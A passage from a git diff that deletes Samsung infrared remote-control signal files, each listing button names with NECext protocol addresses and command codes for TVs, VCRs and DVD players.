-protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: AD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 27 00 00 00 -# -name: TTX/Mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: Ch.List -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir deleted file mode 100644 index 8e2f3b4b3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 15 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 1C 00 00 00 -# -name: Counter -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 1D 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 1E 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 21 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 22 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 24 00 00 00 -# -name: Self -type: parsed -protocol: NECext -address: 21 21 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir deleted file mode 100644 index 3ccfb280d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: antenna -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: component1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 43 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 69 00 00 00 -# -name: svideo1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 85 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 98 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 99 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C1 00 00 00 -# -name: svideo3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C2 00 00 00 -# -name: component3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: C3 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: F8 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: F9 00 00 00 -# -name: svideo2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FB 00 00 00 -# -name: component2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FD 00 00 00 -# -name: dvi -type: parsed -protocol: NECext -address: 07 07 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir deleted file mode 100644 index 0b233b0d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 14 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 25 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 2D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 35 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 39 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 3E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 62 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 64 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 65 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 09 09 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir deleted file mode 100644 index 968473d54..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: One -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: Two -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: Three -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: Four -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: Five -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: Six -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: Seven -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: Eight -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: Nine -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: Zero -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: VolUp -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: VolDown -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: ChanUp -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: ChanDown -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: Guide -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: PgUp -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: PgDown -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: FavChan -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 20 00 00 00 -# -name: More -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 21 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 22 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 23 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 24 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 25 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 26 00 00 00 -# -name: Tv_Radio -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2B 00 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2C 00 00 00 -# -name: PreChan -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 30 00 00 00 -# -name: Alt -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 31 00 00 00 -# -name: Teletext -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 33 00 00 00 -# -name: Subtitle -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 34 00 00 00 -# -name: Audio -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 35 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir deleted file mode 100644 index 15553393d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: Tv/radio -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 62 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 64 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 65 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir deleted file mode 100644 index 63ab6d759..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: A.REP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: P/S_N.C -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: A.TRK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 21 00 00 00 -# -name: TRACKING__Up -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: TRACKING_Down -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 32 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir deleted file mode 100644 index c49adc7f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 00 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 05 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 12 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 20 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 21 00 00 00 -# -name: tuning_right -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 22 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 30 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 31 00 00 00 -# -name: tuning_left -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 32 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 52 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 53 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 67 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir deleted file mode 100644 index d209bffbc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: topmenu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 93 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: bookmark -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A9 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_3d -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AB 00 00 00 -# -name: i.replay -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AD 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AE 00 00 00 -# -name: s.fit -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir deleted file mode 100644 index f5825a8e3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: SLOW_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1C 00 00 00 -# -name: CLR_RST -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 23 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: FINE_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: FINE_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 30 00 00 00 -# -name: KEY_SEARCH 